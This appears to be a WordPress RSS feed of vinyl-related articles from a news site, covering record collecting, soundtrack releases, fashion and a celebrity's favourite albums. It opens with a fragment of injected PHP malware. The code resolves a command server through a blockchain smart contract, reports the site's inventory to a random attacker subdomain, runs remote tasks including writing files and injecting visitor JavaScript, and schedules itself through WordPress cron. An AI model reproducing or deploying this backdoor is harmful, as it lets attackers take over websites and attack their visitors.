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} $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); vinyl – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Fri, 31 May 2019 12:02:11 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png vinyl – Brief News https://briefnews.eu 32 32 Practical Ways To Be An Environmentally Friendly Record Collector https://briefnews.eu/practical-ways-to-be-an-environmentally-friendly-record-collector/ https://briefnews.eu/practical-ways-to-be-an-environmentally-friendly-record-collector/#respond Fri, 31 May 2019 11:56:19 +0000 http://briefnews.eu/?p=253015 The environmental impact of vinyl on the planet is one of the music industry’s (many) dirty little secrets. Last year alone over 4 million new vinyl records were purchased, and considering the average LP weighs about 135g, that means that over 550 tonnes of our favourite black plastic – with all its associated energy and environmental costs entered into the market at a time when we should all be thinking about reducing our carbon (and plastic) footprints.

  1. Take care of your records

First and foremost, with proper cleaning, proper storage and even the occasional repair you should never need to buy any record more than once. Vinyl is a far cry away from single use plastic – let’s keep it that way.

  1. Fix them where possible

Put quite simply, lower your standards. Cosmetic damage to a record can, if you put your mind to it, simply be ignored. Crumpled corners, for example, are annoying but don’t really necessitate replacing an entire record. Even warping is something that can often be ignored – if it doesn’t affect playback, and isn’t getting any worse, then hold off on replacing it. You may even be able to find a store that can fix the warp – or if you’re brave enough, look online and you can even try it yourself.

  1. Give them to Charity/Local Record Store/ Swap shop

Many local charity shops will be glad to take them off your hands (as long as they’re not wrecked). Discogs and Ebay are always worth checking just in case you have something that might just sell. And, if you know anyone who sells at car boot sales, offer your unwanted wax to them or go along yourself – they’re still a haunt for certain vinyl collectors.

  1. Gift them

If a record just isn’t doing it for you anymore, think about gifting it to someone who may want them.

  1. Dispose using a specialist vinyl recycler

Let’s be clear. PVC records are not recyclable, not in the traditional sense…

There are specialist vinyl recycling places that will accept them, but the difficult physical processes involved require scale. So we’re talking bulk quantities here – industrial amounts, rather than domestic. As such, whilst its cardboard sleeve and paper dust protector is usually fine to recycle, the record itself is not. Find a local record store that does deal with industrial amounts, Norman Records for example will happily take them off your hands if they are broken beyond repair, or even if you just don’t have the time to pass the working records on to charity yourself.

  1. Get creative and repurpose… or give to those who do!

Walk through any market in the land (or simply head over to Etsy) and you’ll find weird and wonderful things crafted from old records – bowls, clocks, ash trays, bookends, framed artwork. If you’re not handy or artsy enough to make things like this yourself then maybe offer your unwanted vinyl to someone who is?

  1. Be Proactive – Tell your favourite artists and labels to consider eco-friendly production methods

For more than a century, the current method of production has been consuming vast amounts of energy. But, there are companies trying to fix this. Dutch CD manufacturer Symcon, have devised a method in which to create a more environmentally friendly production process for vinyl records. It is estimated to use 65% less energy and has received grants from the European Union to help make the technology more readily available.

Awareness matters, alot. Exert your consumer pressure. The sooner your favourite labels and artists are called to address the problem, the sooner they start to ask for their vinyl to be produced using these greener technologies, and we can all start to feel a little less guilty about our vinyl addiction.

  1. Go ‘Plastic Neutral’

Finally, if you still don’t think your doing enough, perhaps look to the other areas of your life which consume a lot of plastic, your weekly food shop for example?

Or, there’s a little company called Plastic Bank which takes plastic waste and turns it into a currency, offering above-market rates for plastic items to incentivise people to collect it and stop it entering the seas. For a small price you can offset your average yearly consumption of plastic (84kg) while also helping to alleviate poverty (and also maybe your conscience?)

]]> https://briefnews.eu/practical-ways-to-be-an-environmentally-friendly-record-collector/feed/ 0 Contest: Win ‘Kin’ On Blu-ray, Plus the Vinyl Soundtrack by Mogwai https://briefnews.eu/contest-win-kin-on-blu-ray-plus-the-vinyl-soundtrack-by-mogwai/ https://briefnews.eu/contest-win-kin-on-blu-ray-plus-the-vinyl-soundtrack-by-mogwai/#respond Tue, 20 Nov 2018 14:53:42 +0000 http://briefnews.eu/contest-win-kin-on-blu-ray-plus-the-vinyl-soundtrack-by-mogwai/ kin blu-ray

The sci-fi coming of age story Kin hit Digital November 6 and is coming to 4K Ultra HD Combo Pack (plus Blu-ray and Digital), Blu-ray Combo Pack (plus DVD and Digital), DVD, and On Demand this week. In anticipation of that release, we’re giving away the film on Blu-ray along with a copy of the Kin soundtrack on vinyl, from band Mogwai. Details below.

If you slept on Kin in theaters, here’s your chance to catch up. The film follows “a recently released ex-con and his adopted teenage brother who find themselves on the run from a vengeful criminal, the feds, and a group of relentless soldiers, with only a mysterious and powerful weapon at their side.” Starring Jack Reynor (Sing Street),  Zoë Kravitz (Fantastic Beasts), Dennis Quaid (Far From Heaven), James Franco (The Disaster Artist), and introducing Myles Truitt (upcoming Dragged Across Concrete), Kin hails from the producers of Arrival and Stranger Things.

Kin Trailer

The Blu-ray contains the following features:

  • Audio Commentary with co-directors Jonathan and Josh Baker and screenwriter Daniel Casey
  • “Thicker Than Water: The Making of Kin” 8-Part Documentary
  • “Enhanced Visual FX Breakdown” Featurette
  • “Bag Man: Original Short” with optional audio commentary by co-directors Jonathan and Josh Baker
  • 10 Deleted Scenes
  • “Learned Behavoir: Special Features at Work” hour-long round table discussion between Jonathan and Josh Baker and  reknown filmmakers including 10 Cloverfield Lane director Dan Trachtenberg, Swiss Army Man directors Daniel Kwan and Daniel Scheinert, legendary special features producer Laurent Bouzereau (Jaws, Back to the Future, Ready Player One) and special features godfather Kevin Smith (Clerks, Chasing Amy, Tusk). 

Kin Blu-ray cover

To win the Kin Blu-ray and vinyl soundtrack, simply jump down into the comment section and tell us what your favorite 21st century sci-fi film is. A winner will be selected at random.

Kin Soundtrack Vinyl

Mogwai Kin Soundtrack

Track List

1. Eli’s Theme
2. Scrap
3. Flee
4. Funeral Pyre
5. Donuts
6. Miscreants
7. Guns Down
8. KIN
9. We’re Not Done (End Title)

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]]> https://briefnews.eu/contest-win-kin-on-blu-ray-plus-the-vinyl-soundtrack-by-mogwai/feed/ 0 Cool Stuff: Let Mondo’s ‘Halloween 3: Season of the Witch’ Vinyl Soundtrack Control Your Mind https://briefnews.eu/cool-stuff-let-mondos-halloween-3-season-of-the-witch-vinyl-soundtrack-control-your-mind/ https://briefnews.eu/cool-stuff-let-mondos-halloween-3-season-of-the-witch-vinyl-soundtrack-control-your-mind/#respond Wed, 29 Aug 2018 13:10:51 +0000 http://briefnews.eu/cool-stuff-let-mondos-halloween-3-season-of-the-witch-vinyl-soundtrack-control-your-mind/ Halloween 3 Vinyl Soundtrack

Halloween 3: Season of the Witch is the only chapter in the horror franchise that doesn’t feature the iconic slasher Michael Myers. Though it was disregarded for years, the film has earned a loyal following in horror circles, and those fans will undoubtedly be happy to see the film’s soundtrack composed by John Carpenter and Alan Howarth get the vinyl treatment by Mondo, complete with an incredibly designed package featuring art by Alan Hynes, and a special magic trick to astound your friends.

Halloween 3 Vinyl Soundtrack

Halloween 3 Vinyl Soundtrack
Halloween 3 Vinyl Soundtrack

Halloween 3 Vinyl Soundtrack

Mondo teamed up with Death Waltz Recording Co. to created a new pressing of the remastered soundtrack that Death Waltz issued in 2015, taken from the original 2-inch master tapes. As you can see, there are three different vinyl offerings: 180 Gram Pumpkin Mask vinyl (Orange and Black color-in-color), Skeleton Mask vinyl (Cloudy Clear and Black color-in-color) or Witch Mask vinyl (Green and Black color-in-color).

The artwork by Alan Hynes was designed to resemble vintage, novelty Halloween toy packaging while still fitting with the overall aesthetic of the movie itself. Plus, the special packaging fits inside of the specially designed Halloween vinyl soundtrack slipcase that holds all of the Halloween franchise vinyl releases coming from Mondo this year. Plus, it includes three cards to perform a special magic trick with instructions includes in the slipcase.

If you’re not quite as familiar with the music of Halloween 3 as you are the rest of the franchise, here’s how Mondo excitedly describes the electronic score:

“John Carpenter and Alan Howarth completely jettisoned their previous work and deliver nothing short of an electronic masterpiece. The lead track ‘Chariots Of Pumpkins’ is an epic 4/4 beat-driven synth-banger that has regularly been played by DJs over the last 10 years. The rest of the score features lush pads, Linn drums aplenty and veers from beautiful blissed-out ambient drones to sinister stinger-driven mood pieces. Absolutely outstanding stuff.”

If you need anymore convincing, here’s a teaser video:

Maybe it’s time to revisit Halloween 3: Season of the Witch. You can pick up the Halloween 3 vinyl soundtrack from Mondo starting Wednesday, August 29 at 12pm CT.

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]]> https://briefnews.eu/cool-stuff-let-mondos-halloween-3-season-of-the-witch-vinyl-soundtrack-control-your-mind/feed/ 0 Red Light! Green Light! Mondo Announces ‘Mission: Impossible’ Vinyl Soundtrack Release https://briefnews.eu/red-light-green-light-mondo-announces-mission-impossible-vinyl-soundtrack-release/ https://briefnews.eu/red-light-green-light-mondo-announces-mission-impossible-vinyl-soundtrack-release/#respond Fri, 03 Aug 2018 17:51:24 +0000 http://briefnews.eu/red-light-green-light-mondo-announces-mission-impossible-vinyl-soundtrack-release/ Mission Impossible

You mission, should you choose to accept it…I wonder, did you ever choose not to? Well, when it comes to new vinyl soundtrack releases from Mondo, the answer is no, especially when it comes to Mission: Impossible.

Mondo has announced a vinyl release for the original Mission: Impossible score composed by Danny Elfman for the 1996 adaptation of the classic television series. Complete with cover art that looks like an old school vinyl album from the 1970s, this is the perfect vinyl release for an incredible soundtrack.

Mondo Mission Impossible Vinyl Soundtrack

Mondo Mission Impossible Vinyl
Mondo Mission Impossible Vinyl
Mondo Mission Impossible Vinyl
Mondo Mission Impossible Vinyl

Danny Elfman’s score for Mission: Impossible is unlike most of the work the composer has done on the big screen, especially when compared to his work for director Tim Burton. Elfman uses Lalo Schifrin‘s signature themes from the original series in a way that adds new life and energy to the classic TV show’s orchestral arrangements. It’s difficult to find scores as good as this one in blockbuster movies nowadays. Just listen to “Train Time” if you haven’t heard it in a while:

This is the first time the Mission: Impossible soundtrack has been available on vinyl, and you can either get it in a limited edition “Red Light/Green Light” vinyl (limited to 1,000 copies) inspired by the explosive piece of gum given to Ethan Hunt (Tom Cruise) by Jack Harmon (Emilio Estevez). Or you can pick it up in the standard translucent red vinyl. Each version features liner notes by Brian Satterwhite. You can buy them right now on Mondo’s website.

Here’s the official tracklisting for the Mondo Mission Impossible vinyl soundtrack:

Side A
01. Sleeping Beauty
02. Mission: Impossible THeme
03. Red Handed
04. Big Trouble

Side B
05. Love Theme?
06. Mole Hunt
07. The Disc
08. Max Found
09. Looking For “Job”

Side C
10. Betrayal
11. The Heist
12. Uh-Oh!
13. Biblical Revelation

Side D
14. Phone Home
15. Train Time
16. Ménage à Trois
17. Zoom A
18. Zoom B

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]]> https://briefnews.eu/red-light-green-light-mondo-announces-mission-impossible-vinyl-soundtrack-release/feed/ 0 Deep Purple to release a limited edition collection of classic albums on purple vinyl https://briefnews.eu/deep-purple-to-release-a-limited-edition-collection-of-classic-albums-on-purple-vinyl/ https://briefnews.eu/deep-purple-to-release-a-limited-edition-collection-of-classic-albums-on-purple-vinyl/#respond Mon, 23 Jul 2018 23:06:53 +0000 http://briefnews.eu/deep-purple-to-release-a-limited-edition-collection-of-classic-albums-on-purple-vinyl/

With a changing personnel of musicians from Ian Gillan and Roger Glover to David Coverdale and Glenn Hughes, and Tommy Bolin eventually taking the place of guitarist Ritchie Blackmore, these releases are a fine document of a sensational British rock band.

Taken from the original master tapes at Abbey Road Studios, all of these vintage albums have been cut from new digital transfers. The heavyweight 180-gram purple vinyl includes artwork that has been faithfully replicated to match the original pressings.

Crucially for all fans of the band, the vinyl albums also come with download codes and are next in a line-up of classic Deep Purple reissues by Universal Music.

Drummer Ian Paice said: “These albums were recorded in the analogue age before digital CDs. We went from recording tape to master cutting room to pressing plant.

“It’s right that the listener should have the choice to listen to them by placing a needle on an album on a turntable.”

The classic albums to receive this heavyweight purple vinyl treatment are studio albums Machine Head – 1972, Who Do We Think We Are? – 1973, Burn – 1974, Stormbringer – 1974 and Come Taste The Band – 1975.

Plus live albums Made In Japan – 1972, Made In Europe – 1976 and Last Concert In Japan – 1977.

Deep Purple are currently on their ‘Long Goodbye’ world tour.

All eight albums to be released on Friday 7th September 2018.

Pre-order an exclusive bundle of all 8-albums here: https://DeepPurple.lnk.to/ReissueBundle 

Pre-order the albums individually here: https://DeepPurple.lnk.to/Reissues

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]]> https://briefnews.eu/deep-purple-to-release-a-limited-edition-collection-of-classic-albums-on-purple-vinyl/feed/ 0 Cool Stuff: ‘Call Me By Your Name’ Soundtrack Getting a Peach-Scented Vinyl Release for Your Pleasure https://briefnews.eu/cool-stuff-call-me-by-your-name-soundtrack-getting-a-peach-scented-vinyl-release-for-your-pleasure/ https://briefnews.eu/cool-stuff-call-me-by-your-name-soundtrack-getting-a-peach-scented-vinyl-release-for-your-pleasure/#respond Sun, 17 Jun 2018 04:46:22 +0000 http://briefnews.eu/cool-stuff-call-me-by-your-name-soundtrack-getting-a-peach-scented-vinyl-release-for-your-pleasure/ Call Me By Your Name Peach Vinyl

Call Me By Your Name was adored by critics last year, and it rode that wave of acclaim all the way to a worthy Best Picture nomination. The film unfolds in Northern Italy in the summer of 1983, where a teenage boy named Elio (Timothée Chalamet) becomes enamored with an American graduate student (Armie Hammer) who comes to study and live with his family. They share a summer full of food, surprising romance, and, of course, music. And that music will be getting a special release on vinyl later this year.

The Call Me By Your Name soundtrack, featuring original songs by Sufjan Stevens, will be getting a Limited Peach Season Edition vinyl release with a peach-colored 2xLP set, including record sleeves that smell like peaches. Just make sure you don’t try to do with these records what Elio does with a certain peach in the movie.

Find out how you can get the Call Me By Your Name peach vinyl below.

Call Me By Your Name Peach Vinyl Soundtrack

Call Me By Your Name Peach Vinyl

Music On Vinyl will be releasing the Call Me By Your Name peach vinyl soundtrack on August 3, 2018, lining up perfectly with the actual peach harvest season. In addition to the 2xLP soundtrack set, this package will include a poster, an insert and 2 exclusive printed innersleeves for the records.

There will only be 14,999 individually numbered copies of the Call Me By Your Name peach vinyl available to buy, so make sure you set a reminder to go pick up this vinyl set when it goes on sale later this summer. Then you can dance around just like Armie Hammer while you wait for the sequel to get off the ground:

If you want to know what music is featured on the vinyl soundtrack release, here you go:

Side A
1. Hallelujah Junction – 1st movement – John Adams
2. M.A.Y. in the Backyard – Ryuichi Sakamoto
3. J’adore Venise – Loredana Bertè
4. Paris Latino – Bandolero

Side B
1. Sonatine bureaucratique – Frank Glazer
2. “Zion hört die Wächter singen” – Alessio Bax
3. Lady Lady Lady – Giorgio Moroder & Joe Esposito

Side C
1. Une barque sur l’océan – André Laplante
2. Futile Devices (Doveman Remix) – Sufjan Stevens
3. Germination – Ryuichi Sakamoto
4. Words – F.R. David
5. È la vita – Marco Armani

Side D
1. Mystery of Love – Sufjan Stevens
2. Radio Varsavia – Franco Battiato
3. Love My Way – The Psychedelic Furs
4. Le jardin féerique – Valéria Szervánszky & Ronald Cavaye
5. Visions of Gideon – Sufjan Stevens

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]]> https://briefnews.eu/cool-stuff-call-me-by-your-name-soundtrack-getting-a-peach-scented-vinyl-release-for-your-pleasure/feed/ 0 Plastic fantastic! This season's hottest vinyl fashion pieces from ASOS, Marks and Spencer https://briefnews.eu/plastic-fantastic-this-seasons-hottest-vinyl-fashion-pieces-from-asos-marks-and-spencer/ https://briefnews.eu/plastic-fantastic-this-seasons-hottest-vinyl-fashion-pieces-from-asos-marks-and-spencer/#respond Sat, 24 Feb 2018 01:56:26 +0000 http://briefnews.eu/plastic-fantastic-this-seasons-hottest-vinyl-fashion-pieces-from-asos-marks-and-spencer/

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Plastic Fantastic: Get this season’s hottest vinyl trend

The surprising hit of the runway was the integration of wipe clean, vinyl fabrics into high end designer shows.

Rubberised and plastic materials were worked into chic and feminine silhouettes at the likes of Calvin Klein, Chanel, Valentino and Balenciaga, where they became sleek suiting and pencil dresses.

This fantastically plastic trend covered everything from knee high boots to trench coats and dresses.

Here we pick our favourite pieces from the high street and show you how to wear the trend with a vintage twist.

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Catwalk Trend: Plastic coated trench coats are big for S/S’18

Plastic trench coats were big news on the catwalk for SS18.

Naturally the rubberised texture makes this style great for early Spring showers.

While any high street stores opted for black or see through options, this sugar pink plastic trench from ASOS is a more feminine way to wear the trend.

Paired with a pencil skirt in fashion forward gingham, from Marks and Spencer, this look gives the trend a vintage twist.

Model wears: Pink coat, £90, Asos; Cardigan, £80, Boden; Skirt, £39.50, Marks and Spencer; Shoes, £22.99, Lamoda; Earrings, £15, Simply Be

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Catwalk Trend: try plastic accessories

Plastic accessories are an easy way to buy into the look.

Look for quick and cost effective high street purchases such as a iridescent plastic tote, or plastic boots.

These fun accessories will help you give a nod to the trend without a huge investment purchase.

We kept the retro feel by going for ultra feminine silhouettes such as this beautiful pink block colour dress from Jasper Conran’s range at Debenhams.

Check coat, £65, Asos; Dress, £65, J by Jasper Conran at Debenhams; Shoes, £23.99, Lamoda; Bag, £17.99, New Look; Earrings, £12, Simply Be

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Catwalk Trend: team a vinyl skirt with on trend faux fur

More designers than ever before are playing with latex for their catwalk collections.

The soft and supple fabric can drape easily and of course hugs curves.

The high street vinyl versions make for great pencil skirts.

This high shine pink skirt from Boohoo with front zip detailing is a great way to try the trend.

We’ve ensured this look retains its glamour with this beautiful River Island, faux fur jacket.

Model wears: Jacket, £120, River Island; Top, £55, Precis Petite; Skirt, £10, Boohoo; Shoes, £27.99; earrings, £5.99, both New Look

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Catwalk Trend: Look for rubberised fabrics

While brands were quick to trial vinyl trousers, they are definitely a trend for the brave.

Looking to dip your toe into plastic fantastic?

Then try these rubberised trousers.

In a soft pink and tailored cut they’re a very chic option.

Teamed with a perspex heel and a pretty pussy bow blouse for a perfect day outfit.

Model wears: Blouse, £20,10store; Trousers, £14, Boohoo; Bag, £15.99, New Look; Shoes, £21.99, Lamoda; Earrings, £8, River Island

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Catwalk Trend: Mix plastic with softer pieces

The vinyl trend can be seen as a little feisty.

Keep colours soft and within a pastel palette to make this look pretty rather than punky.

Pair plastic coated pieces with softer items, like this fluffy Marks and Spencer’s jumper to add a more relaxed vibe.

We love this thigh skimming skirt from Boohoo which looks far more expensive than it’s actual £20 retail cost.

Model wears: Jumper, £76, Marks and Spencer; Skirt, £20, Boohoo; Boots, £55, V by Very; Bag, £15.99, New Look; Earrings, £13, River Island; Ring, £80; necklace, £70, both Lola Rose

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Catwalk Trend: Try mixing matte with metallic

While matte plastic fabrics have been reproduced across the high street, don’t discount metallic versions for Spring.

Make metallics for day by teaming a sleeveless top over a cosy roll neck – perfect for early Spring weather.

This peplum, metallic pink top is perfect for adding a touch of shimmer to a daytime outfit. Team with a pencil skirt to highlight your waist and lengthen legs.

Model wears: Top, £18; skirt, £18, both Missguided; Roll neck, £39, Kettlewell Colours; Shoes, £75, Hotter; Earrings, £8, Simply Be; Watch, £135, Ted Baker

Whatever you do this season, keep fantastic in plastic.

Credits:

Stylist: Rivkie Baum
Photographer: Jay McLaughlin
Hair and Makeup: Danni Hooker using Bobbi Brown and Kevin Murphy
Fashion Assistant: Abby McHale
Model: Verity at Milk

Location: Bobby Jo’s is an authentic 1950s American diner, run by a mother and daughter duo. Situated on Southend’s seafront, the diner serves up an amazing array of delicious and innovative milkshakes alongside great homemade food, including a large selection of vegetarian and vegan options. With incredible decor, you will really feel like you have been transported back in time. Visit bobbyjos.co.uk.

Stockists: (m) denotes mail order

10store – 10store.com (m)
ASOS – 020 7756 1000, asos.com (m)
Boden – 0330 333 0000, boden.co.uk (m)
Boohoo – 0161 237 7701, boohoo.com (m)
Debenhams – 0344 561 6161, debenhams.com (m)
Hotter – hotter.com (m)
Kettlewell Colours – 01460 279800, kettlewellcolours.co.uk (m)
Lamoda – lamoda.co.uk (m)
Lola Rose – 020 7372 0777, lolarose.co.uk (m)
Marks & Spencer – 0333 014 8000, marksandspencer.com (m)
Missguided – missguided.co.uk (m)
New Look – 0344 499 6690, newlook.com (m)
Precis Petite – précis.co.uk (m)
Primark – 0118 960 6300, primark.com
Oasis – oasis-stores.com (m)
River Island – 03445 766 444, riverisland.com (m)
Simply Be – 0871 231 5000, simplybe.co.uk (m)
Ted Baker – 0345 450 2484, tedbaker.com (m)
Very – 0344 822 2321, very.co.uk (m)

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]]> https://briefnews.eu/plastic-fantastic-this-seasons-hottest-vinyl-fashion-pieces-from-asos-marks-and-spencer/feed/ 0 Cool Stuff: ‘Attack the Block’ Soundtrack Gets a Collectible Vinyl Release from I Am Shark https://briefnews.eu/cool-stuff-attack-the-block-soundtrack-gets-a-collectible-vinyl-release-from-i-am-shark/ https://briefnews.eu/cool-stuff-attack-the-block-soundtrack-gets-a-collectible-vinyl-release-from-i-am-shark/#respond Fri, 05 Jan 2018 14:13:46 +0000 http://briefnews.eu/cool-stuff-attack-the-block-soundtrack-gets-a-collectible-vinyl-release-from-i-am-shark/ Attack the Block Vinyl Soundtrack Release

John Boyega might be a huge star now thanks to his leading role as the defected Stormtrooper FN-2187 in the new Star Wars trilogy, but back in 2011 he was a little known name at the center of the sci-fi horror comedy with some incredible monsters,  a fantastic ensemble cast and a fantastic score.

Attack the Block mixes Gremlins with Goonies and sets the action in South London where an alien invasion must be thwarted by a street gang of young miscreants. Driving the action with a thumping electric beat is a score by Steven Price, and that score is now getting a special limited edition glow in the dark vinyl release from I Am Shark.

Here’s a look at the Attack the Block vinyl soundtrack from the I Am Shark shop:

Attack the Block

Taking a cue from the glowing teeth of the alien monsters in the movie, the vinyl is pressed on a glow in the dark 2xLP. Not only is every track from Steven Price’s motion picture score on there, but there’s also a Basement Jaxx track on there too. Here’s the entire tracklist for those interested in such details:

1. The Block
2. Sam Is Mugged
3. Round Two Bruv
4. It’s Raining Gollums
5. Tooling Up
6. Moses Is Arrested
7. Tell Me I’m Dreaming
8. Throat Ripper
9. Rooftops
10. Moses – Ninja
11. Just Another Day
12. They Want Moses
13. Actions Have Consequences
14. Eat My Hat
15. They Fell Out of the Sky
16. I Need to Finish What I Started
17. Turn the Gas Up
18. Moses vs. the Monsters
19. Moses the Hero
20. The Ends

If you want one of these vinyl releases, you better act fast, because there are only 1,000 available for $ 39.99. Each release includes written commentaries on the soundtrack from both director Joe Cornish and composer Steven Price. Or if you’re a big Attack the Block fan, you can pre-order a bundle that also includes a steel pint glass/tumbler and enamel pins for $ 75.

Pre-orders are live now and will begin shipping on January 30, 2018.

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]]> https://briefnews.eu/cool-stuff-attack-the-block-soundtrack-gets-a-collectible-vinyl-release-from-i-am-shark/feed/ 0 Alexander Armstrong celebrates release of In A Winter Light with his top 10 vinyl albums https://briefnews.eu/alexander-armstrong-celebrates-release-of-in-a-winter-light-with-his-top-10-vinyl-albums/ https://briefnews.eu/alexander-armstrong-celebrates-release-of-in-a-winter-light-with-his-top-10-vinyl-albums/#respond Sun, 17 Dec 2017 21:01:40 +0000 http://briefnews.eu/alexander-armstrong-celebrates-release-of-in-a-winter-light-with-his-top-10-vinyl-albums/

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Alexander Armstrong reveals his top 10 vinyl records

On his newly released In A Winter Light, the 47-year-old presenter of quiz show Pointless covers everything from Fleet Foxes’ 2008 White Water Hymnal to There Is No Rose Of Such Virtue, which, he says “is about as old as English church music gets – it’s virtually pagan! We’ve got some lovely old kitsch on there as well”.

The variety of Yuletide sounds reflects Alexander’s restless ear for great music.

But he admits that he gave away his original collection of vinyl to a very lucky Polish man named Pavel.

“My wife was urging me to get rid of it, because we kept moving house and there were so many records,” he explains.

“She said, ‘Come on, just do it quickly’. So I gave them to the builder!” Initially Alex set about downloading the music he lost.

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Alex confesses that he gave his collection away to a Polish man named Pavel

I mean downloads, putting a CD into a slot and pressing ‘play’? I’m just not interested

But then one of the downloads, of David Bowie’s Hunky Dory, omitted a key Rick Wakeman piano line, and another, of the St Matthew Passion, put the whole piece in the wrong order.

“There were recitatives leading into the wrong arias,” wails Alexander, who was a choral scholar in Edinburgh and studied piano at Cambridge.

“It was very upsetting, I don’t mind telling you.” Finally a visit to his friend and comedy partner Ben Miller’s home for lunch, and an afternoon “jumping around” to Ben’s extensive collection of vinyl, persuaded Alex that he’d just have to bite the bullet and replace his original collection…

“I mean downloads, putting a CD into a slot and pressing ‘play’? I’m just not interested. But a record… Everything about it. The weight of it, pulling the vinyl out of the sleeve…”

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Key omissions from David Bowie’s famed ‘Hunky Dory’ turned Alex off of music downloads

Now, in the first of an occasional Sunday Express series, Alex guides us through the Top Ten albums that would make it into his Vinyl Countdown…

1. The Pixies – Doolittle (1989) I left Cambridge with a generation of amazing people who were resolute in wanting to act and write stuff and I got caught up with that, which is why I’m doing what I do.

The first thing we did, on leaving, was put on a play called Killing Him.

It had four of us in it: Will Keen, a brilliant actor who’s in The Crown at the moment, Nicola Walker, who’s in Last Tango In Halifax, Jez Butterworth (theatre playwright) and me.

It was all about Black Wednesday and the pound falling out of the ERM, and Jez suggested using The Pixies as the soundtrack.

It’s kind of punk in a way, trashy punk but, as with even the sweatiest, shoutiest hip-hop, sometimes it has a really sweet kernel to it.

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Alex says the Pixies presented a ‘really sweet kernel’ despite being a punk band

2. Oscar Peterson – We Get Requests (1964) This is a beautiful thing.

My lovely old chum Will Todd, a schoolfriend who is now a choral composer and wrote the anthem for the Queen’s Diamond Jubilee service, turned me on to Oscar Peterson.

Oscar was an enormous man, he was at least the size of one house when he died, but as a pianist his technique is phenomenally intricate and understated, a very Latin style of playing.

3. Prince – Sign o’ The Times (1987) This was the first CD I bought for my Discman and I really did listen.

What I love about this is that, in between the tracks, you have all these hilarious little scenes.

I mean, heaven knows what’s going on in them.

Someone says: “I think I’ll have another one of those…” and you picture someone at a cocktail party picking out a canapé or something.

I loved Let’s Go Crazy but this was the album when I realised Prince was a total genius. It’s so funny.

It’s got so much humour in it, that’s the thing.

The title track, Sign o’ The Times, starts off so low-tech and unpromisingly and then you’re into something operatic and fabulous.

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Prince’s Sign O’ The Times was when Alexander Armstrong realised his genius

4. Prefab Sprout – Steve McQueen (1985) A record I have never stopped listening to since it came out.

Thomas Dolby, the producer, brings this beautiful, textural feel to what is just very sweet, understated rock ’n’ roll.

I was very into The The and Prefab Sprout when I was about 15 or 16, which is kind of the ideal age. You’re at your most absorbent and receptive, I think, at that point and given to long periods of teenage angst.

This is my slightly drab February sort of music.

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Prefab Sprout’s flavour of rock n’ roll is underrated, says Alex

